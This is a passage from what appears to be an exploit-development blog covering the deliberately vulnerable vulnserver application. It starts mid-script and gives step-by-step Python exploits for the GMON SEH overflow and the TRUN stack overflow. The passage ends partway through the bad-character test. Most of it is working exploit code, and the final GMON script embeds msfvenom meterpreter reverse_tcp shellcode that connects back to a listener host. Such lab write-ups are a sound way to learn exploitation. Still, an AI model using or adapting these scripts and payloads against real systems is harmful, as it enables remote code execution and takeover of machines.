Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2F\u0026#39; command = \u0026#39;GMON /\u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + data s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() The application crashes again and we can locate the exact bytes that are landing in SE handler and the pointer to the next SEH record.\nAfter calculating the offsets, we confirm that we can control these values accurately.\n#!/usr/bin/env python import socket import sys nseh = \u0026#39;C\u0026#39; * 4 seh = \u0026#39;B\u0026#39; * 4 pre_padding = \u0026#39;A\u0026#39; * 3518 post_padding = \u0026#39;D\u0026#39; * (4000 - len(pre_padding) - len(seh) - len(nseh)) buffer = pre_padding + nseh + seh + post_padding command = \u0026#39;GMON /\u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + data s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() We need to overwrite the SE handler with a pointer to an instruction that will bring you back to next SEH and execute the jumpcode. Use mona to find a valid set of instructions using !mona seh. Make sure the ASLR, Rebase, and SafeSEH flags are false - else your exploit will not be reliable.\nNote down the memory address of the instructions and update the exploit. Remember to use little endian.\n#!/usr/bin/env python import socket import sys nseh = \u0026#39;C\u0026#39; * 4 # 625010B4-\u0026gt; pop pop ret in essfunc.dll seh = \u0026#39;\\xB4\\x10\\x50\\x62\u0026#39; pre_padding = \u0026#39;A\u0026#39; * 3518 post_padding = \u0026#39;D\u0026#39; * (4000 - len(pre_padding) - len(nseh) - len(seh)) buffer = pre_padding + nseh + seh + post_padding command = \u0026#39;GMON /\u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + data s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() Set a breakpoint at the address of the instruction 625010B4 before execution the script. If all goes well, you will end up at the pop pop ret instruction which will move execution flow to the pointer to the next SEH record.\nStepping through the crash, we can see the exection return to the pointer for next seh record.\nNow we need to overwrite nseh with a short jump instruction to our shellcode which can be located in the buffer of D\u0026rsquo;s that are sent in the payload. (I used EB assembly instruction for a short jmp).\nA handy trick I learn\u0026rsquo;t was to scroll down to where you would like to jump to, and label the location. For example, I added a label the memory location 023CFFD5 as stage1\nYou can now write the jump instruction in the debugger (JMP stage1) and reference my label without having to count how many bytes this is away from the current location in memory.\nSet at breakpoint at stage1 and updated the exploit.\n#!/usr/bin/env python import socket import sys # EB 0F -\u0026gt; short jump forward to D\u0026#39;s nseh = \u0026#39;\\xEB\\x0F\\x90\\x90\u0026#39; # 625010B4-\u0026gt; pop pop ret in essfunc.dll seh = \u0026#39;\\xB4\\x10\\x50\\x62\u0026#39; pre_padding = \u0026#39;A\u0026#39; * 3518 post_padding = \u0026#39;D\u0026#39; * (4000 - len(pre_padding) - len(nseh) - len(seh)) buffer = pre_padding + nseh + seh + post_padding command = \u0026#39;GMON /\u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + data s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() Running the updated exploit, I noted that part of the remaining buffer of D\u0026rsquo;s was being truncated for some reason. However, we still have a lot of empty space for shellcode in our pre_padding buffer area of C\u0026rsquo;s. So let we can use that space for a larger final shellcode payload.\nI updated the exploit again with space for a decent shellcode payload within the pre_padding buffer of C\u0026rsquo;s.\n#!/usr/bin/env python import socket import sys # EB 0F -\u0026gt; short jump forward to D\u0026#39;s nseh = \u0026#39;\\xEB\\x0F\\x90\\x90\u0026#39; # 625010B4-\u0026gt; pop pop ret in essfunc.dll seh = \u0026#39;\\xB4\\x10\\x50\\x62\u0026#39; shellcode = \u0026#39;\\x90\u0026#39; * 32 shellcode += \u0026#39;\\xCC\u0026#39; * 500 shellcode += \u0026#39;\\x90\u0026#39; * 32 pre_padding = \u0026#39;A\u0026#39; * (3518 - len(shellcode)) post_padding = \u0026#39;D\u0026#39; * (4000 - len(pre_padding) - len(nseh) - len(seh)) buffer = pre_padding + shellcode + nseh + seh + post_padding command = \u0026#39;GMON /\u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + data s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() I ran the updated exploit and stepped through until the short jump instruction. I then scrolled back up through the memory until I located the code cave where the final shellcode payload will reside and repeated the trick of labeling the memory location shellcode (Note that I added 32 bytes before the shellcode - this is called a nopsled and is recommended to allow the shellcode unpacker to do it\u0026rsquo;s work).\nAgain we update the exploit with another jump instruction. This time we are jumping a ways back in memory using the xE9 Jump Near assembly instruction.\n#!/usr/bin/env python import socket import sys # EB 0F -\u0026gt; short jump instruction forward to D\u0026#39;s nseh = \u0026#39;\\xEB\\x0F\\x90\\x90\u0026#39; # 625010B4-\u0026gt; pop pop ret in essfunc.dll seh = \u0026#39;\\xB4\\x10\\x50\\x62\u0026#39; shellcode = \u0026#39;\\x90\u0026#39; * 32 shellcode += \u0026#39;\\xCC\u0026#39; * 500 shellcode += \u0026#39;\\x90\u0026#39; * 32 pre_padding = \u0026#39;A\u0026#39; * (3518 - len(shellcode)) # E9 B6 FD FF FF -\u0026gt; near jump instruction back to shellcode jmp = \u0026#39;\\x90\u0026#39; * 9 + \u0026#39;\\xE9\\xB6\\xFD\\xFF\\xFF\u0026#39; post_padding = \u0026#39;D\u0026#39; * (4000 - len(pre_padding) - len(nseh) - len(seh) - len(jmp)) buffer = pre_padding + shellcode + nseh + seh + jmp + post_padding command = \u0026#39;GMON /\u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + data s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() The control of execution now looks something like: Jump Short forward to buffer of D\u0026rsquo;s which contain a Jump Near back to buffer of C\u0026rsquo;s (and final shellcode).\nUpdating the final exploit with a shellcode.\n#!/usr/bin/env python import socket import sys # EB 0F -\u0026gt; short jump forward to D\u0026#39;s nseh = \u0026#39;\\xEB\\x0F\\x90\\x90\u0026#39; # 625010B4-\u0026gt; pop pop ret in essfunc.dll seh = \u0026#39;\\xB4\\x10\\x50\\x62\u0026#39; # msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.185.148 LPORT=4444 -b \u0026#34;\\x00\u0026#34; -f python shellcode = \u0026#39;\\x90\u0026#39; * 32 shellcode += \u0026#39;\\xbe\\xb3\\xa7\\xe5\\x04\\xd9\\xe9\\xd9\\x74\\x24\\xf4\\x58\\x2b\u0026#39; shellcode += \u0026#39;\\xc9\\xb1\\x56\\x31\\x70\\x13\\x03\\x70\\x13\\x83\\xe8\\x4f\\x45\u0026#39; shellcode += \u0026#39;\\x10\\xf8\\x47\\x08\\xdb\\x01\\x97\\x6d\\x55\\xe4\\xa6\\xad\\x01\u0026#39; shellcode += \u0026#39;\\x6c\\x98\\x1d\\x41\\x20\\x14\\xd5\\x07\\xd1\\xaf\\x9b\\x8f\\xd6\u0026#39; shellcode += \u0026#39;\\x18\\x11\\xf6\\xd9\\x99\\x0a\\xca\\x78\\x19\\x51\\x1f\\x5b\\x20\u0026#39; shellcode += \u0026#39;\\x9a\\x52\\x9a\\x65\\xc7\\x9f\\xce\\x3e\\x83\\x32\\xff\\x4b\\xd9\u0026#39; shellcode += \u0026#39;\\x8e\\x74\\x07\\xcf\\x96\\x69\\xdf\\xee\\xb7\\x3f\\x54\\xa9\\x17\u0026#39; shellcode += \u0026#39;\\xc1\\xb9\\xc1\\x11\\xd9\\xde\\xec\\xe8\\x52\\x14\\x9a\\xea\\xb2\u0026#39; shellcode += \u0026#39;\\x65\\x63\\x40\\xfb\\x4a\\x96\\x98\\x3b\\x6c\\x49\\xef\\x35\\x8f\u0026#39; shellcode += \u0026#39;\\xf4\\xe8\\x81\\xf2\\x22\\x7c\\x12\\x54\\xa0\\x26\\xfe\\x65\\x65\u0026#39; shellcode += \u0026#39;\\xb0\\x75\\x69\\xc2\\xb6\\xd2\\x6d\\xd5\\x1b\\x69\\x89\\x5e\\x9a\u0026#39; shellcode += \u0026#39;\\xbe\\x18\\x24\\xb9\\x1a\\x41\\xfe\\xa0\\x3b\\x2f\\x51\\xdc\\x5c\u0026#39; shellcode += \u0026#39;\\x90\\x0e\\x78\\x16\\x3c\\x5a\\xf1\\x75\\x28\\xaf\\x38\\x86\\xa8\u0026#39; shellcode += \u0026#39;\\xa7\\x4b\\xf5\\x9a\\x68\\xe0\\x91\\x96\\xe1\\x2e\\x65\\xaf\\xe6\u0026#39; shellcode += \u0026#39;\\xd0\\xb9\\x17\\x66\\x2f\\x3a\\x67\\xae\\xf4\\x6e\\x37\\xd8\\xdd\u0026#39; shellcode += \u0026#39;\\x0e\\xdc\\x18\\xe1\\xda\\x48\\x13\\x75\\x25\\x24\\x9a\\x11\\xcd\u0026#39; shellcode += \u0026#39;\\x36\\xdd\\x08\\x52\\xbf\\x3b\\x7a\\x3a\\xef\\x93\\x3b\\xea\\x4f\u0026#39; shellcode += \u0026#39;\\x44\\xd4\\xe0\\x40\\xbb\\xc4\\x0a\\x8b\\xd4\\x6f\\xe5\\x65\\x8c\u0026#39; shellcode += \u0026#39;\\x07\\x9c\\x2c\\x46\\xb9\\x61\\xfb\\x22\\xf9\\xea\\x09\\xd2\\xb4\u0026#39; shellcode += \u0026#39;\\x1a\\x78\\xc0\\xa1\\x7c\\x82\\x18\\x32\\xe9\\x82\\x72\\x36\\xbb\u0026#39; shellcode += \u0026#39;\\xd5\\xea\\x34\\x9a\\x11\\xb5\\xc7\\xc9\\x22\\xb2\\x38\\x8c\\x12\u0026#39; shellcode += \u0026#39;\\xc8\\x0f\\x1a\\x1a\\xa6\\x6f\\xca\\x9a\\x36\\x26\\x80\\x9a\\x5e\u0026#39; shellcode += \u0026#39;\\x9e\\xf0\\xc9\\x7b\\xe1\\x2c\\x7e\\xd0\\x74\\xcf\\xd6\\x84\\xdf\u0026#39; shellcode += \u0026#39;\\xa7\\xd4\\xf3\\x28\\x68\\x27\\xd6\\x2a\\x6f\\xd7\\xa4\\x04\\xc8\u0026#39; shellcode += \u0026#39;\\xbf\\x56\\x15\\xe8\\x3f\\x3d\\x95\\xb8\\x57\\xca\\xba\\x37\\x97\u0026#39; shellcode += \u0026#39;\\x33\\x11\\x10\\xbf\\xbe\\xf4\\xd2\\x5e\\xbe\\xdc\\xb3\\xfe\\xbf\u0026#39; shellcode += \u0026#39;\\xd3\\x6f\\xf1\\xba\\x9c\\x90\\xf2\\x3a\\xb5\\xf4\\xf3\\x3a\\xb9\u0026#39; shellcode += \u0026#39;\\x0a\\xc8\\xec\\x80\\x78\\x0f\\x2d\\xb7\\x73\\x3a\\x10\\x9e\\x19\u0026#39; shellcode += \u0026#39;\\x44\\x06\\xe0\\x0b\u0026#39; shellcode += \u0026#39;\\x90\u0026#39; * 32 pre_padding = \u0026#39;A\u0026#39; * (3518 - len(shellcode)) # E9 B6 FD FF FF -\u0026gt; near jump instruction back to shellcode jmp = \u0026#39;\\x90\u0026#39; * 9 + \u0026#39;\\xE9\\xB6\\xFD\\xFF\\xFF\u0026#39; post_padding = \u0026#39;D\u0026#39; * (4000 - len(pre_padding) - len(nseh) - len(seh) - len(jmp)) buffer = pre_padding + shellcode + nseh + seh + jmp + post_padding command = \u0026#39;GMON /\u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + data s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() ","date":"7 February 2019","permalink":"/posts/vulnserver/gmon/","section":"Posts","summary":"SEH Overflow","title":"Exploiting vulnserver: gmon"},{"content":"Since we have the source code, lets have a quick look at the vulnerable code for the TRUN command.\nThe Code # if (strncmp(RecvBuf, \u0026#34;TRUN \u0026#34;, 5) == 0) { char *TrunBuf = malloc(3000); memset(TrunBuf, 0, 3000); for (i = 5; i \u0026lt; RecvBufLen; i++) { if ((char)RecvBuf[i] == \u0026#39;.\u0026#39;) { strncpy(TrunBuf, RecvBuf, 3000); Function3(TrunBuf); break; } } memset(TrunBuf, 0, 3000); SendResult = send( Client, \u0026#34;TRUN COMPLETE\\n\u0026#34;, 14, 0 ); } ... void Function3(char *Input) { char Buffer2S[2000]; strcpy(Buffer2S, Input); } The code inside Function3 takes our user supplied string and copies it to a local stack variable Buffer2S.\nchar *strcpy(char *dest, const char *src)\nThe unsafe C library function strcpy does not check the size of the destination array.\nThe vulnerable line: strcpy(Buffer2S, Input), simply copies the memory contents of Input into Buffer2S until a “00” (null-byte or null terminator) is encountered, without checking the size of area allocated to Buffer2S.\nThe command will execute fine if we run the TRUN command on a string smaller than 2000 characters:\nHowever, If we supply the TRUN command with an argument larger than 2000 characters long it will corrupt the stack, as shown below:\nExploitation # So to trigger the buffer overflow, update the python script to send 2800 \u0026ldquo;A\u0026rdquo; characters after the TRUN command:\n#!/usr/bin/env python import socket import sys buffer = \u0026#39;A\u0026#39; * 2800 command = \u0026#39;TRUN .\u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + data s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() When the applications sees the string “TRUN ” it checks if the 5th character is a .\nSo to run the TRUN command successfully, you need to send TRUN . (space followed by dot, followed by the large buffer).\nSending the large buffer of A\u0026rsquo;s:\nOn the Windows 7 machine, in Immunity debugger, we should now be able to see the vulnserver application has crashed as follows:\nThe stack has been corrupted and as a result several registers now contains the user supplied buffer of A\u0026rsquo;s. Lets take a closer look at these register values:\nEAX: The EAX register contains the entire buffer including the initial TRUN . command. ESP: The Stack Pointer contains part of the user supplied provided buffer. EBP: The Saved Frame Pointer contains 4 x \u0026lsquo;A\u0026rsquo; (41414141) characters. EIP: The Instruction Pointer also contains 4 x \u0026lsquo;A\u0026rsquo; (41414141) characters. Passing the exception to the program, the application crashes due to EIP containing a non readable memory address (41414141) as shown below:\nThis is a vanilla stack-based buffer overflow. We can directly control the flow of execution via the EIP register. The next step is to identify the four bytes that overwrite EIP by sending a unique string in our buffer that we will search for once the application crashes. There are various ways to do this, I used the Metasploit Framework to generate a unique string of length (-l) 2800 characters with the following command:\nmsf-pattern_create -l 2800 Update the exploit script with the unique string:\n#!/usr/bin/env python import socket import sys buffer = \u0026#39;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2D\u0026#39; command = \u0026#39;TRUN .\u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + data s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() Send the updated exploit script:\nLooking at the updated value of the EIP register in the debugger:\nWorkout the offset:\nmsf-pattern_offset -l 2800 -q 396F4338 Now to confirm that we can control the value in EIP by overwriting the four bytes with B\u0026rsquo;s (42 in HEX).\n#!/usr/bin/env python import socket import sys pre_padding = \u0026#39;A\u0026#39; * 2006 eip = \u0026#39;B\u0026#39; * 4 post_padding = \u0026#39;C\u0026#39; * (3000 - len(pre_padding) - len(eip)) buffer = pre_padding + eip + post_padding command = \u0026#39;TRUN .\u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + data s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() Control execution flow # Because we are overflowing a buffer on the stack, our exploit payload ends up on the stack. This is how we gain control of the return address.\nDuring the crash we see that the saved stack frame pointer (ESP), points directly to the start of buffer of C\u0026rsquo;s, which we placed in the payload right after the 4 bytes of B\u0026rsquo;s that overwrite the return address on the stack. This buffer of C\u0026rsquo;s is where we will insert our shellcode later on.\nThe ret assembly call pops the 4 bytes (BBBB) into EIP, and ESP points to the remainder of the buffer that follows (CCC\u0026hellip;).\nDue to memory protection mechanisms such as Address Space Layout Randomisation (ASLR), it is no longer possible to rely on a hard-coded return address in memory.\nJMP || CALL ESP # Instead of hard-coding a return address, we can use a register (such as ESP in this instance) that contains the address where the shellcode resides in memory. We then replace the values inserted into the EIP register with the memory address of a JMP ESP instruction, in order to redirect the flow of execution to our shellcode.\nThis can be done by finding the opcode of a jump or call to that register in any non-ASLRd dll that is loaded when the application executes, and overwriting the value of EIP with the opcode for \u0026ldquo;jump to ESP register\u0026rdquo; instruction.\nTo find an address which contains a JMP ESP instruction, we can use mona.\nFor your exploit to be portable (work on other machines), it is recommended to use an address from the application you are exploiting itself, or a DLL that comes with the application.\nTo search a specific DLL with mona, use the -m flag and pass the module name. For example:\n!mona jmp -r esp -m essfunc.dll Go to the memory address and confirm the JMP ESP instruction:\nThe next step is to update the exploit so that the value of the EIP register is overwritten with the memory address of the JMP ESP instruction (625011BB), in order to redirect the flow of execution to our shellcode.\nPlace a breakpoint at the JMP ESP instruction memory address (625011BB) before running the updated script.\n#!/usr/bin/env python import socket import sys pre_padding = \u0026#39;A\u0026#39; * 2006 # 625011BB -\u0026gt; jmp ESP in essfunc.dll eip = \u0026#39;\\xBB\\x11\\x50\\x62\u0026#39; post_padding = \u0026#39;C\u0026#39; * (3000 - len(pre_padding) - len(eip)) buffer = pre_padding + eip + post_padding command = \u0026#39;TRUN .\u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + data s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() After the application crashes, the breakpoint is hit. Stepping through this in the debugger (F2), the JMP ESP instruction is executed. EIP now points to ESP, which contains our buffer of C\u0026rsquo;s.\nBefore placing the shellcode here, it is best to test for bad characters which could mangle our shellcode, resulting in our exploit failing to work.\nBad Characters # To test for bad characters, I prefer to send the characters from 01 to FF (excluding 00 which is a known terminator for strings in this instance) to the application, and manually check the results in the debugger.\nLets update the script:\n#!/usr/bin/env python import socket import sys pre_padding = \u0026#39;A\u0026#39; * 2006 # 625011BB -\u0026gt; jmp ESP in essfunc.dll eip = \u0026#39;\\xBB\\x11\\x50\\x62\u0026#39; badchars = 